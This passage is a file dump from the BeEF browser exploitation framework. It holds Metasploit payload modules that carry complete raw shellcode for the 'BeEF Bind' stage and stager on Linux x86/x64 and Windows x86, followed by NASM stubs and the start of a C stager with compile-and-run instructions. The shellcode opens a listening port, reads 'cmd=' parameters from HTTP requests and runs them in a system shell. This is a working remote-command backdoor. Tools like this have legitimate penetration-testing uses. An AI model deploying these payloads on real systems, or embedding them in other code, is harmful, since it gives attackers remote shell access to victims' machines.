\"\\x05\\xe9\\x69\\xfe\\xff\\xff\\x48\\x31\\xff\\x8b\\x7c\\x24\\x0c\\x6a\\x03\\x58\" \\\n                            \"\\x0f\\x05\\x48\\x31\\xff\\x6a\\x03\\x58\\x0f\\x05\\x8b\\x7c\\x24\\x08\\x6a\\x20\" \\\n                            \"\\x58\\x0f\\x05\\x8b\\x3c\\x24\\x6a\\x03\\x58\\x0f\\x05\\x48\\x31\\xff\\x48\\xff\" \\\n                            \"\\xc7\\x6a\\x03\\x58\\x0f\\x05\\x8b\\x7c\\x24\\x04\\x6a\\x20\\x58\\x0f\\x05\\x48\" \\\n                            \"\\x31\\xff\\x48\\x31\\xf6\\x48\\x31\\xd2\\x6a\\x75\\x58\\x0f\\x05\\x6a\\x3b\\x58\" \\\n                            \"\\x48\\xbf\\x2f\\x62\\x69\\x6e\\x2f\\x73\\x68\\x00\\x57\\x48\\x89\\xe7\\x48\\x31\" \\\n                            \"\\xf6\\x48\\x31\\xd2\\x0f\\x05\"\n                        }))\n  end\n\n  # Stage encoding is safe for this payload\n  def encode_stage?\n    true\n  end\nend\n"
  },
  {
    "path": "modules/exploits/beefbind/shellcode_sources/msf/beef_bind-stage-linux-x86.rb",
    "content": "##\n# This file is part of the Metasploit Framework and may be subject to\n# redistribution and commercial restrictions. Please see the Metasploit\n# Framework web site for more information on licensing and terms of use.\n# http://metasploit.com/framework/\n##\n\nrequire 'msf/core'\nrequire 'msf/base/sessions/command_shell'\nrequire 'msf/base/sessions/command_shell_options'\n\nmodule MetasploitModule\n  include Msf::Payload::Linux\n  include Msf::Sessions::CommandShellOptions\n\n  def initialize(info = {})\n    super(merge_info(info,\n                     'Name' => 'BeEF Bind Linux Command Shell Stage (stage x86)',\n                     'Description' => 'Spawn a piped command shell (staged) with an HTTP interface',\n                     'Author' => ['Bart Leppens'],\n                     'License' => BSD_LICENSE,\n                     'Platform' => 'linux',\n                     'Arch' => ARCH_X86,\n                     'Session' => Msf::Sessions::CommandShell,\n                     'PayloadCompat' =>\n                        {\n                          'Convention' => 'beef_bind'\n                        },\n                     'Stage' =>\n                        {\n                          'Offsets' =>\n                             {\n                               'LPORT' => [168, 'n']\n                             },\n                          'Payload' =>\n                            \"\\xfc\\x31\\xd2\\x6a\\x02\\x59\\x52\\x52\\x89\\xe3\\x6a\\x2a\\x58\\xcd\\x80\\x49\" \\\n                            \"\\x67\\xe3\\x02\\xeb\\xf1\\x31\\xdb\\x6a\\x02\\x58\\xcd\\x80\\x3d\\x00\\x00\\x00\" \\\n                            \"\\x00\\x0f\\x84\\xe4\\x01\\x00\\x00\\x8b\\x5c\\x24\\x08\\x6a\\x06\\x58\\xcd\\x80\" \\\n                            \"\\x8b\\x5c\\x24\\x04\\x6a\\x06\\x58\\xcd\\x80\\x8b\\x1c\\x24\\x6a\\x04\\x59\\x68\" \\\n                            \"\\x00\\x08\\x00\\x00\\x5a\\x6a\\x37\\x58\\xcd\\x80\\x6a\\x00\\x68\\xff\\xff\\xff\" \\\n                            \"\\xff\\x6a\\x22\\x6a\\x07\\x68\\x00\\x10\\x00\\x00\\x68\\x00\\x00\\x00\\x00\\x89\" \\\n                            \"\\xe3\\x6a\\x5a\\x58\\xcd\\x80\\x89\\xc7\\x81\\xc4\\x18\\x00\\x00\\x00\\x31\\xd2\" \\\n                            \"\\x31\\xc0\\x6a\\x01\\x5b\\x50\\x40\\x50\\x40\\x50\\x89\\xe1\\x6a\\x66\\x58\\xcd\" \\\n                            \"\\x80\\x89\\xc6\\x81\\xc4\\x0c\\x00\\x00\\x00\\x6a\\x0e\\x5b\\x6a\\x04\\x54\\x6a\" \\\n                            \"\\x02\\x6a\\x01\\x56\\x89\\xe1\\x6a\\x66\\x58\\xcd\\x80\\x81\\xc4\\x14\\x00\\x00\" \\\n                            \"\\x00\\x6a\\x02\\x5b\\x52\\x68\\x02\\x00\\x11\\x5c\\x89\\xe1\\x6a\\x10\\x51\\x56\" \\\n                            \"\\x89\\xe1\\x6a\\x66\\x58\\xcd\\x80\\x81\\xc4\\x14\\x00\\x00\\x00\\x43\\x43\\x53\" \\\n                            \"\\x56\\x89\\xe1\\x6a\\x66\\x58\\xcd\\x80\\x81\\xc4\\x08\\x00\\x00\\x00\\x43\\x52\" \\\n                            \"\\x52\\x56\\x89\\xe1\\x6a\\x66\\x58\\xcd\\x80\\x81\\xc4\\x0c\\x00\\x00\\x00\\x96\" \\\n                            \"\\x93\\xb8\\x06\\x00\\x00\\x00\\xcd\\x80\\xb9\\x00\\x10\\x00\\x00\\x49\\x89\\xfb\" \\\n                            \"\\x01\\xcb\\xc6\\x03\\x00\\xe3\\x05\\xe9\\xf1\\xff\\xff\\xff\\x66\\xba\\x00\\x04\" \\\n                            \"\\x89\\xf9\\x89\\xf3\\x6a\\x03\\x58\\xcd\\x80\\x57\\x56\\x89\\xfb\\xb9\\x00\\x04\" \\\n                            \"\\x00\\x00\\x81\\x3b\\x63\\x6d\\x64\\x3d\\x74\\x09\\x43\\x49\\xe3\\x3a\\xe9\\xef\" \\\n                            \"\\xff\\xff\\xff\\x89\\xd9\\x81\\xc1\\x03\\x00\\x00\\x00\\x8b\\x5c\\x24\\x14\\x41\" \\\n                            \"\\x6a\\x01\\x5a\\x6a\\x04\\x58\\xcd\\x80\\x80\\x39\\x0a\\x75\\xf2\\x68\\x00\\x00\" \\\n                            \"\\x00\\x00\\x68\\x01\\x00\\x00\\x00\\x89\\xe3\\x31\\xc9\\xb8\\xa2\\x00\\x00\\x00\" \\\n                            \"\\xcd\\x80\\x81\\xc4\\x08\\x00\\x00\\x00\\xe8\\x62\\x00\\x00\\x00\\x48\\x54\\x54\" \\\n                            \"\\x50\\x2f\\x31\\x2e\\x31\\x20\\x32\\x30\\x30\\x20\\x4f\\x4b\\x0d\\x0a\\x43\\x6f\" \\\n                            \"\\x6e\\x74\\x65\\x6e\\x74\\x2d\\x54\\x79\\x70\\x65\\x3a\\x20\\x74\\x65\\x78\\x74\" \\\n                            \"\\x2f\\x68\\x74\\x6d\\x6c\\x0d\\x0a\\x41\\x63\\x63\\x65\\x73\\x73\\x2d\\x43\\x6f\" \\\n                            \"\\x6e\\x74\\x72\\x6f\\x6c\\x2d\\x41\\x6c\\x6c\\x6f\\x77\\x2d\\x4f\\x72\\x69\\x67\" \\\n                            \"\\x69\\x6e\\x3a\\x20\\x2a\\x0d\\x0a\\x43\\x6f\\x6e\\x74\\x65\\x6e\\x74\\x2d\\x4c\" \\\n                            \"\\x65\\x6e\\x67\\x74\\x68\\x3a\\x20\\x33\\x30\\x34\\x38\\x0d\\x0a\\x0d\\x0a\\x5e\" \\\n                            \"\\x81\\xc7\\x00\\x04\\x00\\x00\\xb9\\x62\\x00\\x00\\x00\\xf3\\xa4\\x5f\\x5e\\x8b\" \\\n                            \"\\x1c\\x24\\x89\\xf1\\x81\\xc1\\x00\\x04\\x00\\x00\\x81\\xc1\\x62\\x00\\x00\\x00\" \\\n                            \"\\x68\\x86\\x0b\\x00\\x00\\x5a\\x6a\\x03\\x58\\xcd\\x80\\x89\\xfb\\x89\\xf1\\x81\" \\\n                            \"\\xc1\\x00\\x04\\x00\\x00\\xba\\xe8\\x0b\\x00\\x00\\x6a\\x04\\x58\\xcd\\x80\\x6a\" \\\n                            \"\\x06\\x58\\xcd\\x80\\x89\\xf7\\xe9\\x63\\xfe\\xff\\xff\\x8b\\x5c\\x24\\x0c\\x6a\" \\\n                            \"\\x06\\x58\\xcd\\x80\\x31\\xdb\\x6a\\x06\\x58\\xcd\\x80\\x8b\\x5c\\x24\\x08\\x6a\" \\\n                            \"\\x29\\x58\\xcd\\x80\\x8b\\x1c\\x24\\x6a\\x06\\x58\\xcd\\x80\\x31\\xdb\\x43\\x6a\" \\\n                            \"\\x06\\x58\\xcd\\x80\\x8b\\x5c\\x24\\x04\\x6a\\x29\\x58\\xcd\\x80\\x31\\xc0\\x31\" \\\n                            \"\\xdb\\x31\\xc9\\x31\\xd2\\xb0\\xa4\\xcd\\x80\\x31\\xc0\\x50\\x50\\x68\\x2f\\x2f\" \\\n                            \"\\x73\\x68\\x68\\x2f\\x62\\x69\\x6e\\x89\\xe3\\x6a\\x0b\\x58\\xcd\\x80\"\n                        }))\n  end\n\n  # Stage encoding is safe for this payload\n  def encode_stage?\n    true\n  end\nend\n"
  },
  {
    "path": "modules/exploits/beefbind/shellcode_sources/msf/beef_bind-stage-windows-x86.rb",
    "content": "##\n# $Id: beef_bind-stage.rb 121018 Ty Miller @ Threat Intelligence$\n##\n\n##\n# This file is part of the Metasploit Framework and may be subject to\n# redistribution and commercial restrictions. Please see the Metasploit\n# Framework web site for more information on licensing and terms of use.\n# http://metasploit.com/framework/\n##\n\nrequire 'msf/core'\nrequire 'msf/base/sessions/command_shell'\nrequire 'msf/base/sessions/command_shell_options'\n\nmodule MetasploitModule\n  include Msf::Payload::Windows\n  include Msf::Sessions::CommandShellOptions\n\n  def initialize(info = {})\n    super(merge_info(info,\n                     'Name' => 'BeEF Bind Windows Command Shell Stage (stager)',\n                     'Version' => '$Revision: 11421 $',\n                     'Description' => 'Spawn a piped command shell (staged) with an HTTP interface',\n                     'Author' => ['Ty Miller'],\n                     'License' => BSD_LICENSE,\n                     'Platform' => 'win',\n                     'Arch' => ARCH_X86,\n                     'Session' => Msf::Sessions::CommandShellWindows,\n                     'PayloadCompat' =>\n                        {\n                          'Convention' => 'beef_bind'\n                        },\n                     'Stage' =>\n                        {\n                          'Offsets' =>\n                             {\n                               'LPORT' => [511, 'n']\n                             },\n                          'Payload' =>\n                            \"\\xfc\\xe8\\x89\\x00\\x00\\x00\\x60\\x89\\xe5\\x31\" \\\n                            \"\\xd2\\x64\\x8b\\x52\\x30\\x8b\\x52\\x0c\\x8b\\x52\" \\\n                            \"\\x14\\x8b\\x72\\x28\\x0f\\xb7\\x4a\\x26\\x31\\xff\" \\\n                            \"\\x31\\xc0\\xac\\x3c\\x61\\x7c\\x02\\x2c\\x20\\xc1\" \\\n                            \"\\xcf\\x0d\\x01\\xc7\\xe2\\xf0\\x52\\x57\\x8b\\x52\" \\\n                            \"\\x10\\x8b\\x42\\x3c\\x01\\xd0\\x8b\\x40\\x78\\x85\" \\\n                            \"\\xc0\\x74\\x4a\\x01\\xd0\\x50\\x8b\\x48\\x18\\x8b\" \\\n                            \"\\x58\\x20\\x01\\xd3\\xe3\\x3c\\x49\\x8b\\x34\\x8b\" \\\n                            \"\\x01\\xd6\\x31\\xff\\x31\\xc0\\xac\\xc1\\xcf\\x0d\" \\\n                            \"\\x01\\xc7\\x38\\xe0\\x75\\xf4\\x03\\x7d\\xf8\\x3b\" \\\n                            \"\\x7d\\x24\\x75\\xe2\\x58\\x8b\\x58\\x24\\x01\\xd3\" \\\n                            \"\\x66\\x8b\\x0c\\x4b\\x8b\\x58\\x1c\\x01\\xd3\\x8b\" \\\n                            \"\\x04\\x8b\\x01\\xd0\\x89\\x44\\x24\\x24\\x5b\\x5b\" \\\n                            \"\\x61\\x59\\x5a\\x51\\xff\\xe0\\x58\\x5f\\x5a\\x8b\" \\\n                            \"\\x12\\xeb\\x86\\x5d\\xbb\\x00\\x10\\x00\\x00\\x6a\" \\\n                            \"\\x40\\x53\\x53\\x6a\\x00\\x68\\x58\\xa4\\x53\\xe5\" \\\n                            \"\\xff\\xd5\\x89\\xc6\\x68\\x01\\x00\\x00\\x00\\x68\" \\\n                            \"\\x00\\x00\\x00\\x00\\x68\\x0c\\x00\\x00\\x00\\x68\" \\\n                            \"\\x00\\x00\\x00\\x00\\x89\\xe3\\x68\\x00\\x00\\x00\" \\\n                            \"\\x00\\x89\\xe1\\x68\\x00\\x00\\x00\\x00\\x8d\\x7c\" \\\n                            \"\\x24\\x0c\\x57\\x53\\x51\\x68\\x3e\\xcf\\xaf\\x0e\" \\\n                            \"\\xff\\xd5\\x68\\x00\\x00\\x00\\x00\\x89\\xe3\\x68\" \\\n                            \"\\x00\\x00\\x00\\x00\\x89\\xe1\\x68\\x00\\x00\\x00\" \\\n                            \"\\x00\\x8d\\x7c\\x24\\x14\\x57\\x53\\x51\\x68\\x3e\" \\\n                            \"\\xcf\\xaf\\x0e\\xff\\xd5\\x8b\\x5c\\x24\\x08\\x68\" \\\n                            \"\\x00\\x00\\x00\\x00\\x68\\x01\\x00\\x00\\x00\\x53\" \\\n                            \"\\x68\\xca\\x13\\xd3\\x1c\\xff\\xd5\\x8b\\x5c\\x24\" \\\n                            \"\\x04\\x68\\x00\\x00\\x00\\x00\\x68\\x01\\x00\\x00\" \\\n                            \"\\x00\\x53\\x68\\xca\\x13\\xd3\\x1c\\xff\\xd5\\x89\" \\\n                            \"\\xf7\\x68\\x63\\x6d\\x64\\x00\\x89\\xe3\\xff\\x74\" \\\n                            \"\\x24\\x10\\xff\\x74\\x24\\x14\\xff\\x74\\x24\\x0c\" \\\n                            \"\\x31\\xf6\\x6a\\x12\\x59\\x56\\xe2\\xfd\\x66\\xc7\" \\\n                            \"\\x44\\x24\\x3c\\x01\\x01\\x8d\\x44\\x24\\x10\\xc6\" \\\n                            \"\\x00\\x44\\x54\\x50\\x56\\x56\\x56\\x46\\x56\\x4e\" \\\n                            \"\\x56\\x56\\x53\\x56\\x68\\x79\\xcc\\x3f\\x86\\xff\" \\\n                            \"\\xd5\\x89\\xfe\\xb9\\xf8\\x0f\\x00\\x00\\x8d\\x46\" \\\n                            \"\\x08\\xc6\\x00\\x00\\x40\\xe2\\xfa\\x56\\x8d\\xbe\" \\\n                            \"\\x18\\x04\\x00\\x00\\xe8\\x42\\x00\\x00\\x00\\x48\" \\\n                            \"\\x54\\x54\\x50\\x2f\\x31\\x2e\\x31\\x20\\x32\\x30\" \\\n                            \"\\x30\\x20\\x4f\\x4b\\x0d\\x0a\\x43\\x6f\\x6e\\x74\" \\\n                            \"\\x65\\x6e\\x74\\x2d\\x54\\x79\\x70\\x65\\x3a\\x20\" \\\n                            \"\\x74\\x65\\x78\\x74\\x2f\\x68\\x74\\x6d\\x6c\\x0d\" \\\n                            \"\\x0a\\x43\\x6f\\x6e\\x74\\x65\\x6e\\x74\\x2d\\x4c\" \\\n                            \"\\x65\\x6e\\x67\\x74\\x68\\x3a\\x20\\x33\\x30\\x34\" \\\n                            \"\\x38\\x0d\\x0a\\x0d\\x0a\\x5e\\xb9\\x42\\x00\\x00\" \\\n                            \"\\x00\\xf3\\xa4\\x5e\\x56\\x68\\x33\\x32\\x00\\x00\" \\\n                            \"\\x68\\x77\\x73\\x32\\x5f\\x54\\x68\\x4c\\x77\\x26\" \\\n                            \"\\x07\\xff\\xd5\\xb8\\x90\\x01\\x00\\x00\\x29\\xc4\" \\\n                            \"\\x54\\x50\\x68\\x29\\x80\\x6b\\x00\\xff\\xd5\\x50\" \\\n                            \"\\x50\\x50\\x50\\x40\\x50\\x40\\x50\\x68\\xea\\x0f\" \\\n                            \"\\xdf\\xe0\\xff\\xd5\\x97\\x31\\xdb\\x53\\x68\\x02\" \\\n                            \"\\x00\\x11\\x5c\\x89\\xe6\\x6a\\x10\\x56\\x57\\x68\" \\\n                            \"\\xc2\\xdb\\x37\\x67\\xff\\xd5\\x53\\x57\\x68\\xb7\" \\\n                            \"\\xe9\\x38\\xff\\xff\\xd5\\x53\\x53\\x57\\x68\\x74\" \\\n                            \"\\xec\\x3b\\xe1\\xff\\xd5\\x57\\x97\\x68\\x75\\x6e\" \\\n                            \"\\x4d\\x61\\xff\\xd5\\x81\\xc4\\xa0\\x01\\x00\\x00\" \\\n                            \"\\x5e\\x89\\x3e\\x6a\\x00\\x68\\x00\\x04\\x00\\x00\" \\\n                            \"\\x89\\xf3\\x81\\xc3\\x08\\x00\\x00\\x00\\x53\\xff\" \\\n                            \"\\x36\\x68\\x02\\xd9\\xc8\\x5f\\xff\\xd5\\x8b\\x54\" \\\n                            \"\\x24\\x64\\xb9\\x00\\x04\\x00\\x00\\x81\\x3b\\x63\" \\\n                            \"\\x6d\\x64\\x3d\\x74\\x06\\x43\\x49\\xe3\\x3a\\xeb\" \\\n                            \"\\xf2\\x81\\xc3\\x03\\x00\\x00\\x00\\x43\\x53\\x68\" \\\n                            \"\\x00\\x00\\x00\\x00\\x8d\\xbe\\x10\\x04\\x00\\x00\" \\\n                            \"\\x57\\x68\\x01\\x00\\x00\\x00\\x53\\x8b\\x5c\\x24\" \\\n                            \"\\x70\\x53\\x68\\x2d\\x57\\xae\\x5b\\xff\\xd5\\x5b\" \\\n                            \"\\x80\\x3b\\x0a\\x75\\xda\\x68\\xe8\\x03\\x00\\x00\" \\\n                            \"\\x68\\x44\\xf0\\x35\\xe0\\xff\\xd5\\x31\\xc0\\x50\" \\\n                            \"\\x8d\\x5e\\x04\\x53\\x50\\x50\\x50\\x8d\\x5c\\x24\" \\\n                            \"\\x74\\x8b\\x1b\\x53\\x68\\x18\\xb7\\x3c\\xb3\\xff\" \\\n                            \"\\xd5\\x85\\xc0\\x74\\x44\\x8b\\x46\\x04\\x85\\xc0\" \\\n                            \"\\x74\\x3d\\x68\\x00\\x00\\x00\\x00\\x8d\\xbe\\x14\" \\\n                            \"\\x04\\x00\\x00\\x57\\x68\\xa6\\x0b\\x00\\x00\\x8d\" \\\n                            \"\\xbe\\x5a\\x04\\x00\\x00\\x57\\x8d\\x5c\\x24\\x70\" \\\n                            \"\\x8b\\x1b\\x53\\x68\\xad\\x9e\\x5f\\xbb\\xff\\xd5\" \\\n                            \"\\x6a\\x00\\x68\\xe8\\x0b\\x00\\x00\\x8d\\xbe\\x18\" \\\n                            \"\\x04\\x00\\x00\\x57\\xff\\x36\\x68\\xc2\\xeb\\x38\" \\\n                            \"\\x5f\\xff\\xd5\\xff\\x36\\x68\\xc6\\x96\\x87\\x52\" \\\n                            \"\\xff\\xd5\\xe9\\x58\\xfe\\xff\\xff\"\n                        }))\n  end\n\n  # Stage encoding is safe for this payload\n  def encode_stage?\n    true\n  end\nend\n"
  },
  {
    "path": "modules/exploits/beefbind/shellcode_sources/msf/beef_bind-stager-linux-x64.rb",
    "content": "##\n# This file is part of the Metasploit Framework and may be subject to\n# redistribution and commercial restrictions. Please see the Metasploit\n# Framework web site for more information on licensing and terms of use.\n# http://metasploit.com/framework/\n##\n\nrequire 'msf/core'\nrequire 'msf/core/handler/beef_bind'\n\nmodule MetasploitModule\n  include Msf::Payload::Stager\n  include Msf::Payload::Linux\n\n  def initialize(info = {})\n    super(merge_info(info,\n                     'Name' => 'BeEF Bind HTTP Stager',\n                     'Description' => 'Proxy web requests between a web browser and a shell',\n                     'Author' => ['Bart Leppens'],\n                     'License' => BSD_LICENSE,\n                     'Platform' => 'linux',\n                     'Arch' => ARCH_X64,\n                     'Handler' => Msf::Handler::BeefBind,\n                     'Convention' => 'beef_bind',\n                     'Stager' =>\n                        {\n                          'RequiresMidstager' => false,\n                          'Offsets' => { 'LPORT' => [54, 'n'] },\n                          'Payload' =>\n                            \"\\xfc\\x48\\x31\\xd2\\x6a\\x01\\x5e\\x6a\\x02\\x5f\\x6a\\x29\\x58\\x0f\\x05\\x48\" \\\n                            \"\\x89\\xc3\\x6a\\x01\\x49\\x89\\xe2\\x6a\\x08\\x41\\x58\\x6a\\x02\\x5a\\x6a\\x01\" \\\n                            \"\\x5e\\x48\\x89\\xdf\\x6a\\x36\\x58\\x0f\\x05\\x48\\x31\\xc0\\x6a\\x10\\x5a\\x50\" \\\n                            \"\\x50\\xc7\\x04\\x24\\x02\\x00\\x11\\x5c\\x48\\x89\\xe6\\x48\\x89\\xdf\\x6a\\x31\" \\\n                            \"\\x58\\x0f\\x05\\x48\\x31\\xf6\\x48\\x89\\xdf\\x6a\\x32\\x58\\x0f\\x05\\x48\\x31\" \\\n                            \"\\xd2\\x48\\x31\\xf6\\x48\\x89\\xdf\\x6a\\x2b\\x58\\x0f\\x05\\x49\\x89\\xc7\\x48\" \\\n                            \"\\x89\\xdf\\x6a\\x03\\x58\\x0f\\x05\\x48\\x31\\xff\\x68\\x00\\x10\\x00\\x00\\x5e\" \\\n                            \"\\x6a\\x07\\x5a\\x6a\\x22\\x41\\x5a\\x57\\x57\\x41\\x59\\x41\\x58\\x6a\\x09\\x58\" \\\n                            \"\\x0f\\x05\\x49\\x89\\xc6\\x4c\\x89\\xff\\x4c\\x89\\xf6\\x66\\xba\\x00\\x10\\x6a\" \\\n                            \"\\x00\\x58\\x0f\\x05\\x4c\\x89\\xff\\x6a\\x03\\x58\\x0f\\x05\\x4c\\x89\\xf6\\x81\" \\\n                            \"\\x3e\\x63\\x6d\\x64\\x3d\\x74\\x05\\x48\\xff\\xc6\\xeb\\xf3\\x6a\\x04\\x58\\x48\" \\\n                            \"\\x01\\xc6\\xff\\xe6\"\n                        }))\n  end\nend\n"
  },
  {
    "path": "modules/exploits/beefbind/shellcode_sources/msf/beef_bind-stager-linux-x86.rb",
    "content": "##\n# This file is part of the Metasploit Framework and may be subject to\n# redistribution and commercial restrictions. Please see the Metasploit\n# Framework web site for more information on licensing and terms of use.\n# http://metasploit.com/framework/\n##\n\nrequire 'msf/core'\nrequire 'msf/core/handler/beef_bind'\n\nmodule MetasploitModule\n  include Msf::Payload::Stager\n  include Msf::Payload::Linux\n\n  def initialize(info = {})\n    super(merge_info(info,\n                     'Name' => 'BeEF Bind HTTP Stager',\n                     'Description' => 'Proxy web requests between a web browser and a shell',\n                     'Author' => ['Bart Leppens'],\n                     'License' => BSD_LICENSE,\n                     'Platform' => 'linux',\n                     'Arch' => ARCH_X86,\n                     'Handler' => Msf::Handler::BeefBind,\n                     'Convention' => 'beef_bind',\n                     'Stager' =>\n                        {\n                          'RequiresMidstager' => false,\n                          'Offsets' => { 'LPORT' => [47, 'n'] },\n                          'Payload' =>\n                            \"\\xfc\\x31\\xc0\\x31\\xd2\\x6a\\x01\\x5b\\x50\\x40\\x50\\x40\\x50\\x89\\xe1\\x6a\" \\\n                            \"\\x66\\x58\\xcd\\x80\\x89\\xc6\\x6a\\x0e\\x5b\\x6a\\x04\\x54\\x6a\\x02\\x6a\\x01\" \\\n                            \"\\x56\\x89\\xe1\\x6a\\x66\\x58\\xcd\\x80\\x6a\\x02\\x5b\\x52\\x68\\x02\\x00\\x11\" \\\n                            \"\\x5c\\x89\\xe1\\x6a\\x10\\x51\\x56\\x89\\xe1\\x6a\\x66\\x58\\xcd\\x80\\x43\\x43\" \\\n                            \"\\x53\\x56\\x89\\xe1\\x6a\\x66\\x58\\xcd\\x80\\x43\\x52\\x52\\x56\\x89\\xe1\\x6a\" \\\n                            \"\\x66\\x58\\xcd\\x80\\x96\\x93\\xb8\\x06\\x00\\x00\\x00\\xcd\\x80\\x6a\\x00\\x68\" \\\n                            \"\\xff\\xff\\xff\\xff\\x6a\\x22\\x6a\\x07\\x68\\x00\\x10\\x00\\x00\\x6a\\x00\\x89\" \\\n                            \"\\xe3\\x6a\\x5a\\x58\\xcd\\x80\\x89\\xc7\\x66\\xba\\x00\\x10\\x89\\xf9\\x89\\xf3\" \\\n                            \"\\x6a\\x03\\x58\\xcd\\x80\\x6a\\x06\\x58\\xcd\\x80\\x81\\x3f\\x63\\x6d\\x64\\x3d\" \\\n                            \"\\x74\\x03\\x47\\xeb\\xf5\\x6a\\x04\\x58\\x01\\xc7\\xff\\xe7\"\n                        }))\n  end\nend\n"
  },
  {
    "path": "modules/exploits/beefbind/shellcode_sources/msf/beef_bind-stager-windows-x86.rb",
    "content": "##\n# $Id: beef_bind-stager.rb 121018 Ty Miller @ Threat Intelligence$\n##\n\n##\n# This file is part of the Metasploit Framework and may be subject to\n# redistribution and commercial restrictions. Please see the Metasploit\n# Framework web site for more information on licensing and terms of use.\n# http://metasploit.com/framework/\n##\n\nrequire 'msf/core'\nrequire 'msf/core/handler/beef_bind'\n\nmodule MetasploitModule\n  include Msf::Payload::Stager\n  include Msf::Payload::Windows\n\n  def initialize(info = {})\n    super(merge_info(info,\n                     'Name' => 'BeEF Bind HTTP Stager',\n                     'Version' => '$Revision: 9179 $',\n                     'Description' => 'Proxy web requests between a web browser and a shell',\n                     'Author' => ['Ty Miller'],\n                     'License' => BSD_LICENSE,\n                     'Platform' => 'win',\n                     'Arch' => ARCH_X86,\n                     'Handler' => Msf::Handler::BeefBind,\n                     'Convention' => 'beef_bind',\n                     'Stager' =>\n                        {\n                          'RequiresMidstager' => false,\n                          'Offsets' => { 'LPORT' => [200, 'n'] },\n                          'Payload' =>\n                            # Length: 299 bytes\n                            \"\\xfc\\xe8\\x89\\x00\\x00\\x00\\x60\\x89\\xe5\\x31\\xd2\\x64\\x8b\\x52\\x30\\x8b\" \\\n                            \"\\x52\\x0c\\x8b\\x52\\x14\\x8b\\x72\\x28\\x0f\\xb7\\x4a\\x26\\x31\\xff\\x31\\xc0\" \\\n                            \"\\xac\\x3c\\x61\\x7c\\x02\\x2c\\x20\\xc1\\xcf\\x0d\\x01\\xc7\\xe2\\xf0\\x52\\x57\" \\\n                            \"\\x8b\\x52\\x10\\x8b\\x42\\x3c\\x01\\xd0\\x8b\\x40\\x78\\x85\\xc0\\x74\\x4a\\x01\" \\\n                            \"\\xd0\\x50\\x8b\\x48\\x18\\x8b\\x58\\x20\\x01\\xd3\\xe3\\x3c\\x49\\x8b\\x34\\x8b\" \\\n                            \"\\x01\\xd6\\x31\\xff\\x31\\xc0\\xac\\xc1\\xcf\\x0d\\x01\\xc7\\x38\\xe0\\x75\\xf4\" \\\n                            \"\\x03\\x7d\\xf8\\x3b\\x7d\\x24\\x75\\xe2\\x58\\x8b\\x58\\x24\\x01\\xd3\\x66\\x8b\" \\\n                            \"\\x0c\\x4b\\x8b\\x58\\x1c\\x01\\xd3\\x8b\\x04\\x8b\\x01\\xd0\\x89\\x44\\x24\\x24\" \\\n                            \"\\x5b\\x5b\\x61\\x59\\x5a\\x51\\xff\\xe0\\x58\\x5f\\x5a\\x8b\\x12\\xeb\\x86\\x5d\" \\\n                            \"\\x68\\x33\\x32\\x00\\x00\\x68\\x77\\x73\\x32\\x5f\\x54\\x68\\x4c\\x77\\x26\\x07\" \\\n                            \"\\xff\\xd5\\xb8\\x90\\x01\\x00\\x00\\x29\\xc4\\x54\\x50\\x68\\x29\\x80\\x6b\\x00\" \\\n                            \"\\xff\\xd5\\x50\\x50\\x50\\x50\\x40\\x50\\x40\\x50\\x68\\xea\\x0f\\xdf\\xe0\\xff\" \\\n                            \"\\xd5\\x97\\x31\\xdb\\x53\\x68\\x02\\x00\\x11\\x5c\\x89\\xe6\\x6a\\x10\\x56\\x57\" \\\n                            \"\\x68\\xc2\\xdb\\x37\\x67\\xff\\xd5\\x53\\x57\\x68\\xb7\\xe9\\x38\\xff\\xff\\xd5\" \\\n                            \"\\x53\\x53\\x57\\x68\\x74\\xec\\x3b\\xe1\\xff\\xd5\\x57\\x97\\x68\\x75\\x6e\\x4d\" \\\n                            \"\\x61\\xff\\xd5\\xbb\\x00\\x10\\x00\\x00\\x6a\\x40\\x53\\x53\\x6a\\x00\\x68\\x58\" \\\n                            \"\\xa4\\x53\\xe5\\xff\\xd5\\x89\\xc6\\x6a\\x00\\x53\\x50\\x57\\x68\\x02\\xd9\\xc8\" \\\n                            \"\\x5f\\xff\\xd5\\x57\\x68\\xc6\\x96\\x87\\x52\\xff\\xd5\\x81\\x3e\\x63\\x6d\\x64\" \\\n                            \"\\x3d\\x74\\x03\\x46\\xeb\\xf5\\x83\\xc6\\x04\\xff\\xe6\"\n                        }))\n  end\nend\n"
  },
  {
    "path": "modules/exploits/beefbind/shellcode_sources/windows/beef_bind_tcp-stage.asm",
    "content": "\r\n[SECTION .text]\r\nBITS 32\r\n[ORG 0]\t\t\t\t\t;code starts at offset 0 \r\n\r\n\tcld\t\t\t\t;clear the direction flag\r\n\tcall start\t\t\t;jump over block_api and push its address onto the stack\r\n%include \"src/block_api.asm\"\r\nstart:\r\n\tpop ebp\t\t\t\t;pop the address of block_api into ebp for calling functions later\r\n%include \"src/block_beef_bind-stage.asm\"\t;setup web listener to proxy requests and responses to the shell\r\n\r\n"
  },
  {
    "path": "modules/exploits/beefbind/shellcode_sources/windows/beef_bind_tcp-stager.asm",
    "content": "\r\n[SECTION .text]\r\nBITS 32\r\n[ORG 0]\t\t\t\t\t;code starts at offset 0 \r\n\r\n\tcld\t\t\t\t;clear the direction flag\r\n\tcall start\t\t\t;jump over block_api and push its address onto the stack\r\n%include \"src/block_api.asm\"\r\nstart:\r\n\tpop ebp\t\t\t\t;pop the address of block_api into ebp for calling functions later\r\n%include \"src/block_beef_bind-stager.asm\"\t;setup bind port, receive web request, locate stage, execute it\r\n\r\n"
  },
  {
    "path": "modules/exploits/beefbind/shellcode_sources/windows/socket.c",
    "content": "/**\r\n Copyright (c) 2006-2026Wade Alcorn - wade@bindshell.net\r\n Browser Exploitation Framework (BeEF) - https://beefproject.com\r\n See the file 'doc/COPYING' for copying permission\r\n\r\nA standalone version can be compiled with MinGW:\r\nc:\\MinGW\\bin>gcc -o beefstager.exe beefstager.c\r\n\r\nand then executed with:\r\nc:\\MinGW\\bin>beefstager.exe 1234\r\n\r\nor just with the default port 4444:\r\nc:\\MinGW\\bin>beefstager.exe\r\n**/\r\n\r\n\r\n#include <stdlib.h>\r\n\r\nchar code[] = 